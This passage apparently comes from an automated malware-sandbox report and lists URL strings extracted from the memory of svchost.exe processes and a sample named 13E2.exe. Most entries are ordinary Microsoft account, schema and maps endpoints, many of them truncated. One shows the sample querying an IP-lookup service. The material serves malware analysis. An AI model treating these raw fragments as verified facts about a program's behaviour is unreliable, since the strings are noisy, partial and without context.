svchost.exe, 0000000A.00000003.318856067.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296120988.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312712162.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299709872.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318798282.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312493661.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313042176.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313208720.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295756392.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.292025310.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285066185.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297575730.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307165398.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300117504.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291939671.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299941137.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.618112580.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312821276.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291902751.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297407218.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303385751.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312803149.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313125037.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297961457.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285037770.00000159C290E000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 0000000A.00000003.318701895.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318361748.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318891613.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318751449.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318640163.00000159C295B000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsda
Source: svchost.exe, 0000000A.00000003.297368649.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdh
Source: svchost.exe, 0000000A.00000003.285050178.00000159C2929000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdk
Source: svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdns:ws
Source: svchost.exe, 0000000A.00000003.299859114.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.380385282.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300132751.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 0000000A.00000003.296428257.00000159C2982000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296850763.00000159C298B000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdtps:/
Source: svchost.exe, 0000000A.00000002.626150434.00000159C306A000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.309439476.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: http://docs.sis-op
Source: svchost.exe, 0000000A.00000003.301140357.00000159C30CC000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.579083943.00000159C2294000.00000004.00000001.sdmp	String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 0000000A.00000003.418201197.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.380265933.00000159C2989000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.mi
Source: svchost.exe, 0000000A.00000003.382595017.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.microso
Source: svchost.exe, 0000000A.00000003.318701895.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291713284.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303341556.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318361748.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302843963.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303134586.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302988191.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418066269.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305499944.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303061026.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318751449.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.625746150.00000159C2961000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318640163.00000159C295B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303206364.00000159C226C000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303407367.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299886120.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300081747.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318943483.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.382595017.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312884598.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305381034.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312154300.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.625404353.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307263823.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312542451.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303277678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418384259.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313050051.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 0000000A.00000003.318955444.00000159C3061000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296810811.00000159C2994000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296850763.00000159C298B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418367363.00000159C2956000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyccount.
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296835012.00000159C2958000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyrf
Source: svchost.exe, 0000000A.00000002.619035755.00000159C2913000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296810811.00000159C2994000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.380503838.00000159C2955000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303422350.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307843725.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318913706.00000159C29A7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314568357.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418367363.00000159C2956000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 0000000A.00000002.619035755.00000159C2913000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scg
Source: svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scicy
Source: svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scp
Source: svchost.exe, 0000000A.00000003.302900762.00000159C30AD000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296810811.00000159C2994000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303422350.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307843725.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296794174.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314568357.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418367363.00000159C2956000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust(
Source: svchost.exe, 0000000A.00000003.303051244.00000159C3053000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.292025310.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298069013.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303259328.00000159C2931000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313370819.00000159C30EC000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue
Source: svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 0000000A.00000003.377405699.00000159C2955000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustQQUSI
Source: svchost.exe, 0000000A.00000002.619035755.00000159C2913000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustn
Source: svchost.exe, 0000000E.00000002.308554216.000002DD32813000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 0000000A.00000003.318768897.00000159C29B9000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318715337.00000159C29B7000.00000004.00000001.sdmp	String found in binary or memory: http://www.w3.or
Source: svchost.exe, 0000000B.00000002.598091083.00000139B4E29000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000B.00000002.598091083.00000139B4E29000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502t
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601f
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295929266.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295929266.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600mous
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600ymous
Source: svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601ssuer
Source: svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601t
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604mous
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604t
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605(
Source: svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605Y
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295929266.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/msangcwams
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://account.live.com/msangcwamtse
Source: svchost.exe, 0000000B.00000002.598091083.00000139B4E29000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: 13E2.exe, 00000020.00000002.447751764.0000000004021000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000B.00000002.598091083.00000139B4E29000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000B.00000002.598091083.00000139B4E29000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000E.00000002.308734538.000002DD3286A000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307836827.000002DD32868000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000002.308663972.000002DD3284D000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307901327.000002DD32847000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
